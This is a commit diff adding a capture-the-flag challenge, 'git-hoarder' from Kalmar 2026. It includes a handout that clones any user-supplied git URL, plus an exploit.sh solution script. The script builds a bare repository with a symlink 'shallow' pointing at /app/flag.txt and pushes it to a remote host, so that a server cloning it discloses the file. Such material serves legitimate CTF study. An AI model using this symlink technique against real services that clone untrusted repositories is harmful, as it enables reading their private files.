cleanup

2026/kalmar/misc/git-hoarder/exploit.sh

@@ -0,0 +1,31 @@
+# 1. Create the base repository with a commit
+mkdir base_repo && cd base_repo
+git init
+git commit --allow-empty -m "init"
+cd ..
+
+# 2. Create the bare clone (the payload)
+git clone --bare base_repo malicious.git
+
+# 3. Inject the symlink
+cd malicious.git
+ln -s /app/flag.txt shallow
+
+# 4. Force Git to track the refs directories
+mkdir -p refs/heads refs/tags
+touch refs/.keep
+touch refs/heads/.keep
+touch refs/tags/.keep
+cd ..
+
+# 5. Wrap it for delivery
+mkdir wrapper && cd wrapper
+git init
+cp -r ../malicious.git .
+git add malicious.git
+git commit -m "Delivery package with refs tracked"
+
+# 6. Push to your server
+git branch -M main
+git remote add origin https://gitea.cato447.de/cato447/pwn.git
+git push -u origin main -f

2026/kalmar/misc/git-hoarder/handout/Dockerfile

@@ -0,0 +1,12 @@
+FROM archlinux:latest
+
+RUN pacman --noconfirm -Sy socat python3 git
+
+RUN mkdir /app
+COPY clone.py /app/clone.py
+COPY ./flag.txt /app/flag.txt
+RUN useradd -m -k user:user user
+USER user
+WORKDIR /tmp
+
+CMD socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"python3 /app/clone.py",stderr

2026/kalmar/misc/git-hoarder/handout/clone.py

@@ -0,0 +1,4 @@
+import subprocess
+git_url = input('Git url to clone > ')
+subprocess.run(["git", "clone", git_url], capture_output=False)
+print('Done cloning!')

2026/kalmar/misc/git-hoarder/handout/compose.yml

@@ -0,0 +1,5 @@
+services:
+  githoarder:
+    build: .
+    ports:
+      - 1444:1337

2026/kalmar/misc/git-hoarder/handout/flag.txt

@@ -0,0 +1 @@
+kalmar{test_flag}